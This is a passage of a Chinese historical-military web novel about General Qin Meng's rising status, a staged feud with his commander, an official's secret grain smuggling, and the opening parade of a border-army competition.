本将不同意,不放手,那是我的事,与尔等无关,切记不可怀恨在心,都是为国家效力……”
赵起本来是不想多说,可真怕手底下人蒙在鼓里,搞出什么乱子来,所以才召集心腹将领叮嘱。
赵平,严风,魏文等人皆是沙场宿将,有些话不用说的太明白,一点就透,心中已有所了然。
原来,这是秦猛与赵起商议好的,那场看似激烈的争执,不过是双方心照不宣的一场表演。
目的无他,无非是为了明哲保身。
世道浑浊,朝堂奸臣当道,在这敏感时节,武将兵权过重,最易引来各方猜忌、打压或陷害。
若是两支强军过往甚密,简直是自寻死路。
这世上没有人是傻子,人无远虑,必有近忧。
真正的远见,往往就藏在这些不得已的“表演”之下。
就如秦猛说的那样,他这个重号将军头衔惹人眼红,不仅是在军队之中,而且是在大周各州府,一些消息灵通之辈早就开始行动起来了。
第359章 常胖子扬眉吐气
中原腹地,通往北方官道的重要枢纽“彭城”。最大的“风雨歇客栈”早已客满,大堂里挤满了南来北往的客商,话题几乎都围绕着同一个名字——秦猛。
“让让,让让!俺这批山参可是要紧急送往燕北郡的,耽误了给安北将军的贺礼,你们担待得起吗?”一个操着关外口音的彪形大汉嚷嚷着。
“嗤,山参算什么稀奇?俺们东家准备的可是辽东的百年老山参和上等貂皮!必定能入将军法眼!”另一伙人颇为不屑,不服气地反驳。
客栈角落里,几位看似官场模样的人也在低声交谈。
“李兄,听闻郡守大人都备了一份贺表和不菲的仪程,派人送往北边了。咱们是不是也该表示表示?”
“那是自然!虽说我等官卑职小,但安北将军位高权重。调任北方后,说不定就有仰仗之处。凑份子,备上一份不失体面的礼物,总归是条门路。”
“正是此理!我认识一个常跑北边的行商,可托他代为转呈……”
官道上的驿站,更是热闹非凡。南来的、西来的、本地的车马络绎不绝,许多都打着“恭贺安北将军秦猛高升”的旗号,或载着沉甸甸的箱笼。
沿途驿站的伙计忙得脚不沾地,窃窃私语:“乖乖,这阵势,比年前巡抚大人过境还热闹!这安北将军的面子可真大!”
“那可不?人家在北方杀了上万**!”
……
一时间,从江南水乡到中原腹地,再到北疆边塞,通往燕北郡的各条水陆通道上,比往日更加繁忙。
载着各式礼物、怀揣不同心思的队伍,如同无数条溪流,从四面八方汇向同一个目的地。
酒楼茶肆间的议论,驿站官道上的喧嚣,豪强官吏府邸内的密议,共同构成了一幅“安北将军”名号所带来的巨大影响力的生动图景。
各色人马如潮水般涌入燕北郡。
郡守林安国与郡丞韩齐面对城内陡然增加的人流,不得不加派大量人手维持郡城内外秩序。
得知众人来意后,他们相视苦笑,心中唏嘘不已:这“安北将军”四字,竟有如此巨大的能量!
这股风潮之猛烈,甚至影响到了物价,一些预计会被当作热门贺礼的北地特产,价格已经开始悄然上涨。
所有人都意识到,北疆的格局,已经变了。而能否在这位新任安北将军面前“混个脸熟”,或许将决定他们未来数年甚至数十年的命运。
与燕北郡的暗流相比,南河城寨则是一片热火朝天的景象。
曾经低洼的贫民区已被平整,建起了整齐的砖瓦房和仓库。街道宽敞,商铺林立,往来的商队络绎不绝,叫卖声、议价声不绝于耳。
城寨中心,一栋崭新的三层楼宇格外气派,匾额上写着“九盛商行”。
在三楼视野最好的雅间里,东家常九,正舒服地靠在一张宽大的紫檀木太师椅上。
与去年相比,他明显更胖了一圈,但脸色红润,眼神里透着一种扬眉吐气的自信和精明。
他穿着一身绛紫色团花锦袍,手指上戴着一枚水头极好的翡翠戒指,轻轻转动着手中的白瓷茶杯,里面是江南特产的龙井茶,茶香凛冽。
如今这南河城寨,谁不知他“常东家”?
自从监镇官孙仁倒台后,他凭借与秦猛的紧密关系和精准的商业手腕,官商结合,迅速接管甚至扩张了原本由孙党把持的诸多产业。
现在的“九盛商行”,不仅供应铁血军寨物资,还垄断了南河军寨大半的粮油盐铁供应,还涉足绸缎、药材、车马行,生意遍布边陲数郡。
“东家,青州本家来人了,说是您的三叔常春老爷,带着好几位少爷,阵仗不小。”伙计在门口恭敬禀报。
常九嘴角微微上扬,露出一丝意味深长的笑容,慢悠悠地呷了口茶:“哦?他们倒是消息灵通,请他们到客厅用茶,我稍后就到。”
客厅里,从青州来的常春和他带来的几个常家年轻嫡系子弟,正有些局促地坐着。
常春年约五旬,白胖富态,穿着簇新的杭绸直裰,但眼神里的市侩和此刻的忐忑却掩饰不住。
他带来的礼物堆了半个墙角,都是江南的精致玩意。
几个年轻子弟更是好奇又带着几分不服气地打量着这间布置得既奢华又不失雅致的客厅。
“哎呀呀!九哥儿!可算见到你了!”一见常九这大胖子颤巍巍地踱步进来,常春立刻从椅子上弹起来,脸上堆满了近乎谄媚的笑容。
他快步上前就想拉常九的手,“几年不见,九哥儿真是……真是气宇轩昂,一派大家风范啊!”
常九不着痕迹地侧身,伸手虚引:“三叔舟车劳顿,辛苦了,请坐。”
他自己则走到主位坐下,姿态从容,与常春的急切形成鲜明对比。
“不辛苦不辛苦!”常春搓着手,重新坐下,身子微微前倾,“九哥儿,你如今可是为家族争光了!
老爷子在家里天天念叨,说我们常家绸缎和茶油等产业能在北地打开局面,全仗九哥儿你啊!”
他指着礼物,“这点小意思,不成敬意。家族商议了,以后幽州乃至整个北地的生意,都由九哥儿你总揽!青州本家的资源,随你调配!”
常九捧着茶杯,吹了吹浮沫,眼皮都没抬一下,语气平淡得像在说今天天气不错:
“三叔言重了。小侄不过是在这穷乡僻壤勉强混口饭吃,靠着秦将军赏口饭吃,守些规矩罢了。”
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>常春忙道:“规矩我们懂!家族绝不让九哥儿为难。你看……”
他压低声音,“那雪花盐和北风烈的买卖,可是独一份的紧俏生意啊!
家族的意思,不是要动你的份额,是想帮你把买卖做得更大!我们在南边,甚至海外番邦都有路子,这外销的代理权,是不是可以……”
“又是这事?”常九终于抬起眼,目光平静地看着常春,却让常春感觉像被针扎了一下。
常九本是常家庶子,不受待见,经常受到欺负,排挤,直接被丢到幽州这个苦寒之地拓产业。家族资源其实少得可怜,压根不被重视。
直到秦猛崛起,他常九跟着沾光,一下子支棱起来了。本家得知消息,多次让人送信过问,想掺和雪花盐和北风烈买卖,此次更是来人。
“三叔,”常九打断他,语气转冷,“秦将军最恨的,就是贪得无厌、自作聪明的人。
产量多少,内销几成,外销几何,将军府自有章程。尤其是这雪花盐,这不是价钱的问题,是脑袋的问题。”他指了指自己的脖子。
常春脸色一白,讪讪道:“是是是,将军深谋远虑……”
常九放下茶杯,走到窗边,指着寨门外车水马龙、排队等候的各地商队,淡淡道:“三叔,您也看到了。如今想见将军一面,比见阁老还难。您这些礼物,”
他回头瞥了一眼那堆东西,“还是先收着吧。在边陲,诚意,比什么都重要。您若真想谈,等将军军务繁忙过后,我或许可以代为递个帖子。至于成与不成,侄儿人微言轻,不敢保证。”
这番话,软中带硬,既点明了家族的贪心,也守住了与秦猛合作的底线,更是隐隐摆出了如今的身份地位。
常春脸上红一阵白一阵,他身后的几个年轻子弟更是面露不忿,却被常春用眼神死死压住。
“是是是,九哥儿考虑周全,是三叔心急了。”常春干笑着,心里却把这常九骂了千百遍,知道想靠血缘关系轻易拿下这块肥肉是不可能了。
常九看着三叔吃瘪的样子,心里别提多痛快了。但他更清楚,自己的一切都系于秦猛一身。有些事他可以说话,但成不成,就无法保证。
他转身,语气稍稍缓和:“三叔远道而来,先在寨子里住下,逛逛。边陲风光,与江南大不相同。生意的事不要急嘛,从长计议吧。”
他脸上带着笑,眼神却清醒而冷静。
这场家族与边陲新贵之间的较量,才刚刚开始。他常九要借此机会拿回本该属于自己的东西!
秦猛崛起,带来的不光是好的一面。
他越是得势,仇敌就越痛恨,也就在常九接见本家来人的当天夜晚,幽州城那边有了动静。
第360章 暗夜运粮,明台演戏
五月的幽州,白日虽已有了些许暑气,但夜晚依旧凉意沁人。
边军大比在即,虎贲军主将赵起将军与帅司吴大帅相继动身前往冀州平虏原,边寨正将也带领精锐参赛,整个北疆防线一时显得有些空虚。
这仿佛一种诱人的信号,让某些蛰伏在阴影里的势力开始蠢蠢欲动。
幽州城的深夜,万籁俱寂,唯有更夫那单调而悠长的梆子声,伴随“小心火烛”,间隔许久才在空旷的街道上回荡着,更添几分寂寥。
城西官粮仓区域,更是静得可怕,高耸的仓廪在稀薄的月光下投下巨大的黑影,如同沉默的巨兽。
“吱呀——”
一声轻微到几乎难以察觉、却又格外令人牙酸的摩擦声响起。
粮仓厚重的侧门,竟被从内部悄无声息地推开一道缝隙。
阴影中,人影绰绰,却无半点人声。
紧接着,一辆辆蒙着深色厚布的马车,如同从地下钻出的幽灵,车轮都用软布包裹,碾过青石路面时只发出沉闷的微响,依次驶到仓门口。
早已等候在此的劳力们,如同训练有素的工蚁,沉默而迅捷地将一袋袋沉甸甸的粮包搬运上车。
整个过程中,只有粗重的呼吸声和粮袋摩擦的沙沙声。
阴影里,一道裹在暗色披风中的身影静静伫立,正是幽州城内有头有脸的官员长史苏骞。
他不放心手下人来,亲自来督办此事,可见其重视与紧张。
夜风拂过,苏骞不由裹紧了披风,lao脸上平日那副慈眉善目的面具早已卸下,取而代之的是一丝难以掩饰的焦躁和眼底深藏的狠厉。
他压低声音,对身旁的心腹催促道:“快,再快点儿!天亮前必须全部出城,装船起运!”
望着在黑暗中高效运转的队伍,苏骞眼中凶光闪烁,心中暗道:“秦猛啊秦猛,若非你断人财路,严查边贸,我等何须行此险招?
这偌大的边军,这幽州地界,岂是你一个骤起的武夫能一手遮天的?待这批粮草,物资顺利脱手,换得金银,草原豺狼会慢慢与你计较!”
一车车粮食,在夜幕的掩护下,如同流淌的暗河,悄无声息地驶出幽州城,直奔城外僻静的码头。
他们自以为做得天衣无缝,神不知鬼不觉。
然而,他们并未察觉,在更高的屋脊阴影处,以及更远的河道芦苇丛中,早有数双锐利的眼睛,将这一切尽收眼底。
甚至在他们开始行动前,这群劳力之中就有人无意或有意,消息就已经通过特殊渠道泄露了出去。
当夜,幽州城内最繁华的明月楼后院,一只经过特殊调教的信鸽扑棱着翅膀,悄无声息地融入夜空,朝着铁血军寨的方向疾飞而去。
这正是前两日,军寨把调教好的一批鸽子送来,并在此处建立养殖基地,组建飞鸽传讯通道。
次日,东方刚刚泛起鱼肚白,城门在沉重的吱嘎声中缓缓开启。
早已候在门内的几名精悍骑士,不等城门完全洞开,便一夹马腹,如离弦之箭般飞奔而出。
分成两路,马蹄溅起清晨的露水,沿着官道,朝铁血军寨、平虏原大比营地的方向绝尘而去。
冀州,平虏原。
秦猛此刻尚不知晓,自己晋升安北将军在外部引起了怎样的波澜,也不清楚幽州官僚的小动作。
他全身心都扑在了即将开始的边军大比上。大比定于五月十日,各参赛队伍陆续抵达,使得这片平日荒芜的原野,瞬间变得热闹起来。
秦猛深谙藏拙之道,不欲过早暴露实力。除安排非参赛队伍负责本营区巡逻、警戒外,其余参赛士卒一律在营房休整,或在营盘中央划定的区域进行适应性演练,严禁随意走动。
他本想去探探其他队伍的虚实。
然而,能来参赛的将领哪有庸才?想法与他不谋而合,真正要上场的队伍都被保护得极好,各军营寨防卫森严,根本不容外人窥视。
随军而来的石地虎小队也不便潜入而引起麻烦。
碰了软钉子后,秦猛索性静下心来,一边深入研究赛事规则,一边抓紧最后时间操练队伍,磨合战术。
冀州官府提供的粮秣倒是充足,肉食却稀少,仅够将领所需,普通士卒若想开荤,需得自掏腰包。
秦猛对此颇为不满,暗骂冀州方面既要借大比拉动经济,却连士卒基本伙食都如此吝啬,真是抠搜到了极致,但眼下他也无力改变。
值得一提的是,冀州别驾张浚次日便备上厚礼,亲自带着儿子张显登门致歉,态度恭谨,表示要严加约束,还额外送了十多车酒肉劳军。
秦猛心知此事不宜深究,便顺水推舟,客套一番将此事揭过。
为落实与赵起将军“不和”的迷局,接下来的日子里,飞虎卫驻地间的气氛肉眼可见地变得微妙而压抑。
双方将领相遇,不再如往日般亲密,热络招呼。赵起嫡系的赵平、严风等人,见到秦猛麾下张富贵、王善、鲁真时,态度明显冷淡疏离。
其中以性情耿直的魏文最为突出,或许也是涉及到南河城寨归属,触碰到他的利益而跳脚。
他每每“巧遇”张富贵、鲁真等人,便故意拔高嗓门,要么阴阳怪气地嘲讽“攀上高枝,眼里就没老兄弟了”;
要么与同僚大声议论“知恩不报,非人子也,战场上可得留个心眼”,指桑骂槐,毫不掩饰。
张富贵等人初时不明就里,被气得火冒三丈,骂咧着几欲争执,均被秦猛用眼神严厉制止。秦猛对此似乎早有预料,表现得异常隐忍,只约束部下不予理会。
这番姿态
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,在外界看来,更坐实了“心虚理亏”。
飞虎卫内部不和的传闻,如同投入湖面的石子,涟漪迅速扩散。
军中各方势力的眼线敏锐地捕捉到这一信息,并迅速加工传递:
“赵起将军与安北将军秦猛嫌隙已生!”
“魏文当众斥责秦猛忘恩负义!”
“飞虎卫内部**,秦猛部遭孤立!”
……
这些消息越传越邪乎,很快成为各军将领茶余饭后的谈资,也让一些有心人开始暗自盘算。
然而,无人知晓这看似确凿的“不和”,正是秦猛与赵起这两位深知庙堂险恶、兔死狗烹道理的将领,联手布下的一场迷局面来误导众人。
这“自污”之举,恰是对自身实力最好的保护。意在示弱于外,麻痹潜在的敌人,为飞虎卫和陷阵营争取更从容的发展空间,更好的戍边。
边军大比,不仅是军士们搏杀晋升的舞台,也悄然催生着另一场没有硝烟的战争——赌局。
这几乎是历年默认的惯例,上至帅司、卫将,下至普通兵卒、本地商贾,或多或少都会参与其中,押注看好的队伍或个人,以此助兴,也更以此牟利。
本地官府和帅司对此心知肚明,往往睁一只眼闭一只眼,甚至他们本人或亲信也会暗中下注,趁机捞上一笔。
今年,秦猛早已料到此节。
他并未被动等待,而是暗中指示机灵且善于经营的石地虎,提前布局,悄然开设盘口。
就在大比前两天,一个名为“猛虎堂”的赌盘正式启动,并凭借精心制作、难以仿冒的特制竹筹作为下注凭证,迅速吸引了各方注意。
石地虎手段灵活,提前便在军营外围的集市、以及各军驻地附近通过可靠渠道放出风声。
“猛虎堂”的盘口设置得极为详尽:既有押注每小关卡头名,又有最终“团体魁首”的大盘。
更有押注“前三轮综合考评前十”、“个人赛勇力之士前十”等小项,甚至还有各军入选最终百强人数的细分赌局。
赔率根据各军往年表现和外界认知实时浮动。
开赛前,镇北军依旧是最大热门,押其夺魁的赔率低至一赔一点二。龙骧、虎贲(整体)紧随其后。
而提及“虎贲军秦猛所部”时,盘口给出的初始赔率却高达一赔五!
在绝大多数人看来,一支成军半年的新军,能有个别尖子冒头已属不易,想要在团体成绩上挑战根深蒂固的镇北军,无异于痴人说梦。
因此,初始下注时,流向秦猛所部的资金寥寥无几,多是些抱着侥幸心理投点小钱碰运气的,或是极少数对秦猛有着盲目信心的本寨军士。
石地虎小队人员前往其他盘口,狂押秦猛赢。总之,这场暗中汹涌的金钱博弈悄然间开启!
第361章 群僚环伺,新秀破局
时间飞逝,五月十日,这天终于到来。
清晨,巨大的校场之上,气氛肃杀。校场正对辕门,一座高大的点将台早已搭建完毕,旌旗招展。
台上,从京城而来的高官、雍凉帅司,幽并帅司的帅臣、各边军主将、冀州刺史等十多名跺一跺脚,四方震动的大人物,已然齐聚,面朝校场端坐,准备观摩这场边军精锐的较量。
他们身后各自站着随从,护卫人员。
抛却草包吴大帅,枢密院副使周廷,兵部侍郎李福,雍凉帅司孙焕,冀州刺史孙浩文官梯队。
北疆边军主将来了共十余人,镇北将军赵起坐在首位。显然,他的身份地位高于其他人!
龙骧军主将曹烨眉眼低垂,不知道在想什么。
镇北军主将高彬脸色阴沉,情绪写在脸上。毕竟以往镇北将军这个头衔一直是镇北军的。其他军主将看向赵起的眼神多少流露出不愤。
坐在将军末尾的秦猛好奇地打量,根据自己得到的情报信息,挨个认出边菌体系的大人物。把他们的长相和眼神变化不着痕迹地记下来。
按惯例,各军带队偏将、统领、正将本是没有资格入座,唯有他秦猛,凭借安北将军的重号,成为唯一一位有资格坐在看台上的统领。
他坦然落座,一个年轻军官混入,格外显眼。
秦猛在打量别人的同时,别人同样也在打量他,更能清晰地感受到台上台下投射来的诸多目光。
——有善意、有羡慕、有嫉妒、甚至不乏隐含敌意的审视。秦猛对这些眼神通通不放在心上——只有无能狂怒的人才会露出这种情绪。
“诸位,静一静,唐某有话说!”冀州刺史唐浩作为东道主,率先开口,打破了高台上的沉默。
他声音温和,面带笑意,谈吐得体,却像一颗石子投入看似平静的湖面,瞬间激起了层层涟漪。
“秦将军,果然是年轻有为呀!唐某作为冀州刺史,管教手下不严,前几日冲撞了将军,还望海涵呐。”
这话说得轻飘飘,仿佛只是寻常的客套致歉,但在场哪个不是人精?张别驾是唐浩的心腹,其子**在秦猛手下吃亏的事,早已不是秘密。
唐浩此举,看似放低姿态替下属赔罪,实则是把秦猛架在火上烤:一来是把秦猛推到前台,二来点明秦猛是个“不安分”的“年轻”新贵,并暗示秦猛与其麾下在冀州地界上“惹是生非”。
刹那间,看台上窃窃私语声戛然而止,所有目光齐刷刷聚焦在末席那位年轻得过分的将军身上。
有饶有兴味的打量,有冷眼旁观的审视,更有如镇北军主将高彬等人毫不掩饰的讥诮与不满。
一个靠军功崛起的小子,有何资格与他们平起平坐?
秦猛心中冷笑:“老狐狸,开场就给我下套。”
他脸上却瞬间堆起毫无破绽的、甚至略带几分“受宠若惊”的笑容,忙不迭起身,拱手道:
“唐公言重了!折煞末将了!那日豹韬军招募点发生骚乱,本就是一场误会,手下儿郎多是边的粗汉,不懂规矩,冲撞了张别驾家公子。
末将本想备上厚礼,亲至张别驾府上赔罪,谁知张别驾深明大义,竟先一步派人前来安抚。
此事早已冰释,说起来,我等边军糙汉子不通礼数,还是张别驾气度恢宏,唐公治下有方啊!”
他这番话,姿态放得极低,把责任全揽到自己“管教不严”上,同时又点出是对方先动手,反将一军,顺便拉上豹韬军,强调边军汉子。
既避开了“年轻气盛”的指责,又有点煽动对立的意思,却暗捧了唐浩一下,可谓滴水不漏。
唐浩眼底闪过一丝不易察觉的讶异,随即笑得更加和蔼:“哈哈哈,那就好,那就好!大比结束后,唐某设宴,秦将军务必赏光,让老夫一尽地主之谊。”
“唐公相邀,末将荣幸之至,定当前往叨扰。”秦猛笑容可掬,满口应承,心里却明镜似的:
这宴无好宴,怕是又一出鸿门宴!
枢密院副使周廷适时接话,他语调平缓却带着特有的威严:“秦将军,周某在京城亦久闻将军骁勇,去岁杀得草原**闻风丧胆,实乃国之栋梁。
秦将军练兵有方,此次边军大比,想必将军麾下虎贲,定能拔得头筹,让吾等大开眼界。”
这一顶高帽戴得更高,更险。
周廷看似在夸赞,实则用心更为险恶。
他一句话就将秦猛置于所有边军同僚的对立面——“拔得头筹”?将其他浴血奋战多年的边军精锐置于何地?
这简直是赤裸裸的捧杀,意在激起众将共同的嫉恨。
秦猛心中警铃大作,面色却愈发恭谨,朗声道:“周相公谬赞,末将愧不敢当!去岁小胜,全赖将士用命,陛下洪福,实非末将一人之功。”
“至于此次大比……”他话锋一转,语气诚恳而谦逊,“我铁血军寨升格不过一年,儿郎们操练时日尚短,岂敢妄言夺魁?
北疆诸军,如镇北军、龙骧军等,皆是百战劲旅,猛将如云,乃我等楷模。末将只望麾下儿郎能借此良机,多向友军学习,
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奋勇争先,争取不负上官期望,取得一个看得过去的成绩。
归根结底,友谊第一,比赛第二,皆为朝廷效力,共戍边陲,切莫因一时胜负,伤了同袍和气。”
他这番话,先是把功劳推给朝廷和士卒,接着自曝其短,强调己方新建,然后鼓吹对手和抬出“朝廷大局”和“同袍和气”这面大旗。
可谓应对得体的满分答案。既化解了捧杀,又安抚了可能被挑起怒气的同僚,姿态无可挑剔。
周廷目光微凝,深深看了秦猛一眼,哈哈一笑:“秦将军年纪轻轻,却深明大义,顾全大局,说得好!”
心中却对这位年轻将领的评价又提高了一层:此子,非但有勇,更有谋略,绝非池中之物。
一直沉默的兵部侍郎李福,此刻却冷不丁地开口:“秦将军,听说你军中装备器械颇为短缺,向上官请求调拨,却迟迟未有下文?”
此言一出,台上气氛瞬间降至冰点!
这已近乎把话挑明,直指上官无能或处事不公了。所有人的目光在秦猛和稳坐在武将上首位置的赵起。以及那位草包吴大帅脸上逡巡。
吴振眉头微蹙,突然有些不安。
秦猛脸色一沉,这个问题比前两个更直接,更棘手。他不能承认上官不给,也不能把责任全揽到自己身上。
他深吸一口气,沉声回应:“回李侍郎,确有其事。我军新建,去岁冬装备损耗甚大,按制向将司提请补充,乃例行公事。只因寒冬运河冰封,物资转运不便,故而尚未到位。”
他把原因归咎于客观天气,给了赵起一个台阶。
这时,镇北将军赵起适时抬起眼皮,声音平淡却带着不容置疑的分量,他将矛头隐隐指向更高层:“冬季各营皆有战事,装备损耗乃常情。
然帅司统筹调配,总需及时。
若因物资迟迟不至,影响了边备,恐非小事。”
他这话看似客观陈述,却是在为秦猛,也是为自己这一系的将领发声,质问帅司的办事效率。
一直装鸵鸟的吴振大帅坐不住了,心里暗道果然,他必须表态,否则这“草包”之名更要坐实。
他立刻清了清嗓子,摆出主帅的威严,推诿道:“这个……赵将军所言,亦是实情。
然去岁寒冬,漕运确有不畅,兵部也有难处。然,入春后,物资迅速调拨,很快下发各处。
近来营中似有争执、怨言流传,此风断不可长!我等皆为朝廷效力,当同心同德,岂可因些许物资调配之事,心生嫌隙,甚至孤立同袍?”
第362章 沙场点兵,诸军列阵
吴大帅虽然在秦猛看来是个草包,但这也是个老狐狸,责任往上面推诿的举止娴熟异常。
然后,他话锋一转,将“装备问题”轻描淡写为“些许物资调配之事”,反而一语双关的指责,秦猛与赵起为了装备和权利争执是破坏团结。
最后,他看向秦猛,语重心长:“秦将军,你军寨新建不久,各方面的难处,本帅知晓。放心,所需装备器械,大比之后,定会优先调拨于你!
务必要用心操练儿郎,守护好边塞,莫负朝廷与本帅之期望!”
这番话,看似解决了问题,承诺了装备大比之后“优先调拨”既是让套话,又能趁机扮演一个“明察秋毫”、“顾全大局”的上官形象,
更是试图将秦猛这支新锐力量纳入其影响之下,至少要在表面上营造出秦猛对他感恩戴德的局面。
秦猛心中雪亮,这群文官武将,唱念做打,无非是想利用他,当枪使,他脸上却适时地露出“惊喜”和“感激”之色,连忙起身,郑重抱拳。
“末将多谢大帅!定谨遵大帅教诲,严格练兵,严守边塞,绝不让**犯边,不辜负大帅厚望!”
心里却冷哼:希望这草包说的是实话,不是想空手套白狼,否则他要略耍小计,让对方好看。
这番看似平常的寒暄与问答,暗藏机锋,刀光剑影。
秦猛首次独立面对如此高规格的官场暗斗,虽略显青涩,但凭借机敏与沉稳,总算有惊无险的渡过。
这也让他更深切地体会到,边关之地,明刀明枪的厮杀固然凶险,但这官场上的唇枪舌剑,人心算计,处处是坑,有时比战场更加致命。
就在这说话间,台上的沙漏显示,吉时到了!
“吉时已至,大比开始。”司议官扯开嗓子吆喝起来!
“呜——呜——呜——”
点将台前方,力士吹响号角,低沉雄浑的号声如同巨龙苏醒的咆哮,暂时驱散了台上无形的硝烟。
所有人的注意力,都被吸引到了巨大的校场之上。
校场边缘,未参赛士卒的呐喊声、助威声、激昂的金鼓声混杂在一起,形成山呼海啸般的声浪,震得脚下大地似乎都在微微颤抖。
那股肃杀与热烈的气氛交织,令人血脉贲张。
大比第一关——“整队走场,检验各营军容军纪”,正式开始!
随着中军令旗挥动,号牌序列靠前的参赛队伍,如同一道道钢铁洪流,从各自营区开出,依军镇序列,迈着整齐步伐,踏入宽阔校场。
打头阵的是镇北军。
镇北军是老牌强军,此次参赛队队伍有十多支。
这些常年与北方党项、西番鏖战的悍卒,身形魁梧,铁甲泛着寒光,武器透着浓重的血火气息。
他们步伐沉稳有力,眼神锐利,带着漠北风沙磨砺出的坚韧与杀气。
镇北军主将高彬身后,立刻有偏将朗声介绍,声音传遍点将台:“诸位大人请看,率先入场者,乃我镇北军破军卫,前锋营!正将乃是‘破阵刀’李敢。
去岁黑风隘之战,率三百勇士狙击党项千骑精锐,血战竟日,斩首两百余级,自身伤亡不过数十,勇冠三军!”
“其后乃我镇北军飞鹰卫,敢死营,正将王冲,曾单枪匹马踹营,阵斩契丹大当户一名,勇不可当……”
镇北军十多支队伍依次而过,偏将不断点出各队将领的显赫战绩,既是向边军同僚炫耀,又是说给京城的周廷、李福等大员知道,声威极壮。
这种印象分也是很有必要的!
最终评分,偏将名额最后有望能够多争取一两个。
秦猛在看台上观看着参赛队伍,也是连连点头,不愧是大周边陲的强军,绝对不能小觑。唯独就觉得军中还有分‘卫’,这却非常刺耳的。
这又是大周朝廷的手段,把一支边军拆分为多个卫,如虎贲军分为左右黑虎,白虎和飞虎三个卫,其他边军同样如此,两个或多个卫。
各自任命主将,以此来制衡武将权势。上面再安排一个帅司统领,形成了如今的边军体系。
这种方法的确有效防范武将权力过重,却也导致了武将之间明争暗斗,综合战斗力大幅削弱。
“时刻防范军队,国力不衰退,那才叫有了鬼。”秦猛望着校场上队伍前行,情不自禁的唏嘘。
镇北军过后,紧接着是龙骧军。
龙骧郡同样是老牌强军,尤其是骑兵极为了得。此次参赛队伍,也有十多支,为步骑混搭。
其步兵、骑兵阵列严整,尤其骑兵更是受人瞩目,清一色的草原骏马,人马皆覆轻甲,骑士控马如臂使指,行进间队列宛若一体,马蹄声节奏分明,显示出极高的骑术与默契。
步兵方阵亦步伐统一,兵刃寒光耀目,杀气腾腾。尤其是独特的攻守战阵,丝毫不能小觑。
龙骧军主将曹烨虽眉眼低垂,其麾下参将却声音洪亮:“此乃我龙骧军黑龙卫,血骑营,领队是正将张勇,曾率百骑深入草原百里,焚毁**粮草大营,一战杀敌数百,扬我军威!”
“中间那队骑兵乃是我龙骧军狂龙卫,烈风营,领队是骁骑都尉韩啸,曾率五十精骑昼夜奔袭四百里,于天鹅湖畔击溃党项后勤队。”
……
随后是熊罴军,熊罴军以步兵称雄,最擅防守战,军士普遍彪悍魁梧,多有两米高的壮汉,身披重甲,举着重型巨盾,如城墙般推进。
队列虽略显笨拙粗犷,但随着侧翼的骑兵迂回,那股野性的勇武之气和冲天杀气却也令人侧目。
引领官高喊:“熊罴军撼山卫,破阵营,正将典雄,双臂有千斤之力,勇猛无
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畏,曾独守戍堡营门,毙敌数十,周身被创十余处犹自死战不退!”
“那断后的队伍,乃我熊罴军劈山卫,怒熊营,领队是勇将雷山,黑熊丘之战,亲执巨斧,率百人死守隘口,血战一日,斩敌先锋大将,尸塞谷道,敌军不得寸进!”
熊罴军过后,便是鹰扬军。
这鹰扬军则以射术为最的边军,无论骑兵步兵,人人身着轻甲,背负大弓劲矢,眼神锐利如鹰,步伐沉稳。
随着队伍依次入场,介绍声起,带着自豪:“鹰扬军惊鸿卫,落星营!正将柳飞星,擅骑射,往来如风,曾以游击战术疲敌数千,箭无虚发,毙敌酋长以下百余人。”
“鹰扬神风卫,狂箭营,正将黄忠,能开三石强弓,百步穿杨,去年秋狩之时,他曾一箭双雕,射落契丹探马头目!”
“黄忠?”秦猛听到这个名字眼皮狂跳,不过看到鹰扬军人人背着大弓,招募兵卒也是会射箭为优先,不禁眉头微皱,这种侧重说不上好坏。
毕竟在边塞防守战,万箭齐发的威力太恐怖了。但是要是被敌方找到破解方法就有些麻烦。
他看着校场一支支参赛队伍走来,如同阅兵那般观看着他们的精气神,不由得唏嘘感慨。大周是瘦死骆驼比马大,千万不能掉以轻心。
想要干大事,必须要自身实力强大。
千万不能小瞧任何人,包括下面入场的豹韬军。
这支素来被认为稍逊的豹韬军,此番派出的队伍亦精神抖擞,步伐有力,显然是军中锐士。
带队将官高呼:“豹韬军厉锋卫,先锋营!统领廖凯,性情剽悍,每战必先登,屡破敌阵!”
“那靠后位置的乃是我豹韬青冥卫……”
各支劲旅依次亮相,展现不同兵种特色与悍将风采,点将台上诸位大佬不时颔首,低声交流。
雍凉帅司孙焕捻须微笑,镇北,龙骧两军归他节制。哪怕夹带了一支豹韬军,也无伤大雅。毕竟镇北,龙骧这两支老牌边军实力强劲。
每次大比都能取得很好的成绩,稳稳压制幽并两州。
然而,帅司吴振虽略显紧张,但却没有丝毫慌乱。
那是因为——他麾下也有王牌军队。
当压轴的虎贲军上场,黑虎,白虎军队亮相,清一色的骑兵队伍,整齐划一,令人眼皮一跳。虎贲军同样擅长骑兵战,不逊色龙骧军。
“此乃我虎贲军黑虎卫,奇锋营,领队是游击将军岳峰,曾于溃退途中设伏断魂崖,以滚木礌石大破追兵,反斩敌追兵统领,扭转战局!”
“中间是我虎贲军白虎卫部,锐金营,领队是果毅都尉薛斩,曾于野狐岭遭遇战中,被敌重兵合围,死战不退,亲手阵斩敌方一名千夫长!”
而赵起将军麾下的飞虎卫入场时,校场气氛陡然一变!
第363章 正步,夺头筹
飞虎卫四支参赛队伍,无论是骑兵还是步兵,士卒身形挺拔如松,队列横、竖、斜皆成笔直一线。
他们的步伐是一种极具节奏感的“正步”,每一步踏下,铁甲叶片碰撞发出铿锵统一的“咔嚓”声,如战鼓敲击人心,带来强烈压迫感。
“打头阵的,是我虎贲军飞虎卫磐石营,领队是昭武将军魏文,曾孤身潜入敌后三百里,绘得敌军布防详图,并火烧河谷浮桥,断敌归路!”
点将台上,雍凉帅司孙焕眼皮一跳,倾身问赵起:“赵将军,这是麾下新练精锐?好严整的军容!嗯,士卒步伐似与寻常操典不同?”
“孙帅过奖,平日操练从严罢了。”赵起面色不变,微微颔首,并没有透露,这是秦猛之功。
冀州刺史唐浩立刻笑着接话:“哎呀,军阵独特,吴大帅麾下强将如云,赵将军真乃练兵大家!”
周廷、李福等人纷纷附和。
而吴振眉开眼笑,只觉得脸上有光。
众人的夸赞尚未落下,更令人震撼的一幕发生。
此前队伍,除了队列整齐外,皆未统一呐喊。唯独当飞虎卫方阵中,秦猛麾下最**场。两个队伍形成方阵推进,横竖成排,极为整齐。
陷阵营骑兵队,卫戍营步兵队,分别在张富贵与林怒,鲁真与刘铁柱的率领下,行至点将台正前时,几位将领齐声发出炸雷般口令:
“全体——持械!敬礼!”
声震四野!
“唰!”“咚!”
两队人马的动作整齐划一到匪夷所思!
